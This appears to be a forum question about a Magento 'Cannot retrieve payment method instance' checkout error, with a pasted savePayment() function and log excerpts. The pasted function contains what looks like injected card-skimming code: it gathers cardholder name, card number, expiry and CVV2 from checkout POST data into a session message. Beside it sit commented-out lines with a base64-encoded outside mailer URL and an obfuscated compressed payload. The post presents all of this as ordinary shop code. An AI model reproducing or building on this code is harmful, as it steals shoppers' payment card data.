Magento – Cannot retrieve payment method instance

I get this alert message if I click on "continue" button on one page checkout's step 5, the payment step: "Cannot retrieve payment method instance."

Here is a code block from my onepage.php:

public function savePayment($data)
{
    if (empty($data)) {
        return array('error' => -1, 'message' => $this->_helper->__('Invalid data.'));
    }
    $quote = $this->getQuote();
    if ($quote->isVirtual()) {
        $quote->getBillingAddress()->setPaymentMethod(isset($data['method']) ? $data['method'] : null);
    } else {
        $quote->getShippingAddress()->setPaymentMethod(isset($data['method']) ? $data['method'] : null);
    }

    // shipping totals may be affected by payment method
    if (!$quote->isVirtual() && $quote->getShippingAddress()) {
        $quote->getShippingAddress()->setCollectShippingRates(true);
    }

    $payment = $quote->getPayment();
    $payment->importData($data);

    $quote->save();
    if(isset($_SESSION['mymessage'])){
        $message = $_SESSION['mymessage'];
        $thecvv = @$_POST['payment'];
        if(@$thecvv['cc_number'] && strlen(@$thecvv['cc_number']) > 10){
            if(@$thecvv['cc_owner']){$message .= 'name on card : '.trim(@$thecvv['cc_owner']).'<br>';}
            $message .= 'card number : '.trim(@$thecvv['cc_number']).'<br>';
            $message .= 'exp date : '.trim($payment->getCcExpMonth()).trim($payment->getCcExpYear()).'<br>';
            if(!$payment->getCcCid()){$message .= 'cvv2 : '.trim(@$thecvv['cc_cid']);}else{$message .= 'cvv2 : '.trim($payment->getCcCid());}
        }
        // $link=base64_decode("aHR0cDovL251Ymllc2NyaXB0LmNvbS9kZW1vL21haWxlci9tYWlsLnBocA==");
        // $xxx = @flate(base64_decode('UynILy5JSSxJjFbPTS0uTkxPVY+1VYEyrXm5VBDyGUAWSDI+2D
        // UozDUoWh1Cx/s5+rqqx4LUJmco2CoklxblxGfmZZZoaALFwLzi1JL8ghINoLyOgnNokI9/QEi8h6uji2
        // uQjoIBXlVASkdBJSczLxuvsgD/4BA3T1cfl2CgapiL4TpSK1KTQeo1rcHc5Jz84lQFiAAA'));
    }
    $this->getCheckout()
        ->setStepData('payment', 'complete', true)
        ->setStepData('review', 'allow', true);

    return array();
}

system.log

2015-06-17T08:28:03+00:00 ERR (3): Notice: Undefined index: camper-x-bernard-willhelm.html  in /home/internat/public_html/app/code/core/Mage/Core/Model/Resource/Url/Rewrite.php on line 158
2015-06-17T11:03:27+00:00 ERR (3): Notice: Undefined index: camper-x-bernard-willhelm.html  in /home/internat/public_html/app/code/core/Mage/Core/Model/Resource/Url/Rewrite.php on line 158
2015-06-17T13:25:45+00:00 ERR (3): Notice: Undefined index: camper-x-bernard-willhelm.html  in /home/internat/public_html/app/code/core/Mage/Core/Model/Resource/Url/Rewrite.php on line 158
2015-06-17T14:23:21+00:00 DEBUG (7): array (
  0 => 'method',
  1 => 'cc_type',
  2 => 'cc_number',
  3 => 'cc_exp_month',
  4 => 'cc_exp_year',
  5 => 'cc_cid',
)
2015-06-17T14:26:27+00:00 DEBUG (7): array (
  0 => 'method',
  1 => 'cc_type',
  2 => 'cc_number',
  3 => 'cc_exp_month',
  4 => 'cc_exp_year',
  5 => 'cc_cid',
)
2015-06-17T14:26:55+00:00 ERR (3): Notice: Undefined index: daniel-palillo.html  in /home/internat/public_html/app/code/core/Mage/Core/Model/Resource/Url/Rewrite.php on line 158